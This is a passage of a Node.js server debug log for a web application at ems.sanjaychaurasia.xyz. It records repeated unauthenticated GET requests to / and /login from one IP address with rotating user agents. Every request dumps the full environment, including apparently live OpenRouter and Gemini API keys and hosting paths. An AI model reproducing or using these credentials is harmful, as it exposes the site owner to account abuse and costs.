    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_7 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) CriOS/135.0.7049.158 Mobile/15E148 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:23.092Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_7 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) CriOS/135.0.7049.158 Mobile/15E148 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:23.983Z server-connect:router Serving templateView /
2026-02-24T21:21:23.992Z server-connect:app Executing action step identify
2026-02-24T21:21:23.992Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:23.992Z server-connect:auth No login cookie found
2026-02-24T21:21:23.992Z server-connect:output identity: false
2026-02-24T21:21:23.992Z server-connect:app Executing action step restrict
2026-02-24T21:21:23.992Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:23.993Z server-connect:output restrict: undefined
2026-02-24T21:21:24.215Z server-connect:router Serving templateView /login
2026-02-24T21:21:24.216Z server-connect:app Executing action step identify
2026-02-24T21:21:24.216Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:24.216Z server-connect:auth No login cookie found
2026-02-24T21:21:24.216Z server-connect:output identity: false
2026-02-24T21:21:24.216Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:24.216Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_7 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) CriOS/135.0.7049.158 Mobile/15E148 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:24.214Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_7 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) CriOS/135.0.7049.158 Mobile/15E148 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:24.661Z server-connect:router Serving templateView /
2026-02-24T21:21:24.662Z server-connect:app Executing action step identify
2026-02-24T21:21:24.662Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:24.662Z server-connect:auth No login cookie found
2026-02-24T21:21:24.662Z server-connect:output identity: false
2026-02-24T21:21:24.662Z server-connect:app Executing action step restrict
2026-02-24T21:21:24.662Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:24.662Z server-connect:output restrict: undefined
2026-02-24T21:21:24.885Z server-connect:router Serving templateView /login
2026-02-24T21:21:24.886Z server-connect:app Executing action step identify
2026-02-24T21:21:24.886Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:24.886Z server-connect:auth No login cookie found
2026-02-24T21:21:24.886Z server-connect:output identity: false
2026-02-24T21:21:24.886Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:24.886Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:24.885Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:27.325Z server-connect:router Serving templateView /
2026-02-24T21:21:27.325Z server-connect:app Executing action step identify
2026-02-24T21:21:27.325Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:27.325Z server-connect:auth No login cookie found
2026-02-24T21:21:27.325Z server-connect:output identity: false
2026-02-24T21:21:27.325Z server-connect:app Executing action step restrict
2026-02-24T21:21:27.325Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:27.326Z server-connect:output restrict: undefined
2026-02-24T21:21:27.427Z server-connect:router Serving templateView /
2026-02-24T21:21:27.427Z server-connect:app Executing action step identify
2026-02-24T21:21:27.428Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:27.428Z server-connect:auth No login cookie found
2026-02-24T21:21:27.428Z server-connect:output identity: false
2026-02-24T21:21:27.428Z server-connect:app Executing action step restrict
2026-02-24T21:21:27.428Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:27.429Z server-connect:output restrict: undefined
2026-02-24T21:21:27.543Z server-connect:router Serving templateView /login
2026-02-24T21:21:27.543Z server-connect:app Executing action step identify
2026-02-24T21:21:27.543Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:27.544Z server-connect:auth No login cookie found
2026-02-24T21:21:27.544Z server-connect:output identity: false
2026-02-24T21:21:27.544Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:27.544Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'okhttp/3.14.9',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:27.543Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'okhttp/3.14.9',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:27.726Z server-connect:router Serving templateView /login
2026-02-24T21:21:27.726Z server-connect:app Executing action step identify
2026-02-24T21:21:27.726Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:27.726Z server-connect:auth No login cookie found
2026-02-24T21:21:27.726Z server-connect:output identity: false
2026-02-24T21:21:27.727Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:27.727Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'curl/7.4.0',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:27.726Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'curl/7.4.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:30.083Z server-connect:router Serving templateView /
2026-02-24T21:21:30.083Z server-connect:app Executing action step identify
2026-02-24T21:21:30.083Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:30.083Z server-connect:auth No login cookie found
2026-02-24T21:21:30.083Z server-connect:output identity: false
2026-02-24T21:21:30.083Z server-connect:app Executing action step restrict
2026-02-24T21:21:30.083Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:30.084Z server-connect:output restrict: undefined
2026-02-24T21:21:30.312Z server-connect:router Serving templateView /login
2026-02-24T21:21:30.312Z server-connect:app Executing action step identify
2026-02-24T21:21:30.312Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:30.313Z server-connect:auth No login cookie found
2026-02-24T21:21:30.313Z server-connect:output identity: false
2026-02-24T21:21:30.313Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:30.313Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 12; PEEM00; Build/SP2A.220311.53) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.181 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:30.312Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 12; PEEM00; Build/SP2A.220311.53) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.181 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'application/json,text/html,*/*',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'zh',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '118.26.38.181',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T21:21:31.908Z server-connect:router Serving templateView /
2026-02-24T21:21:31.908Z server-connect:app Executing action step identify
2026-02-24T21:21:31.909Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:31.909Z server-connect:auth No login cookie found
2026-02-24T21:21:31.909Z server-connect:output identity: false
2026-02-24T21:21:31.909Z server-connect:app Executing action step restrict
2026-02-24T21:21:31.909Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:31.909Z server-connect:output restrict: undefined
2026-02-24T21:21:32.027Z server-connect:router Serving templateView /
2026-02-24T21:21:32.027Z server-connect:app Executing action step identify
2026-02-24T21:21:32.027Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:32.027Z server-connect:auth No login cookie found
2026-02-24T21:21:32.027Z server-connect:output identity: false
2026-02-24T21:21:32.027Z server-connect:app Executing action step restrict
2026-02-24T21:21:32.027Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T21:21:32.028Z server-connect:output restrict: undefined
2026-02-24T21:21:32.133Z server-connect:router Serving templateView /login
2026-02-24T21:21:32.133Z server-connect:app Executing action step identify
2026-02-24T21:21:32.133Z server-connect:app options: { provider: 'security' }
2026-02-24T21:21:32.133Z server-connect:auth No login cookie found
2026-02-24T21:21:32.133Z server-connect:output identity: false
2026-02-24T21:21:32.133Z server-connect:router Render template layouts/authentication
2026-02-24T21:21:32.133Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; Qin 2; Build/QD4A.240725.201) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.20 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'application/json,text/html,*/*',
    connection: 'keep-alive',
    'accept-language': 'zh',
    referer: 'http://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '118.26.38.181',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T21:21:32.132Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '118.26.38.181',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
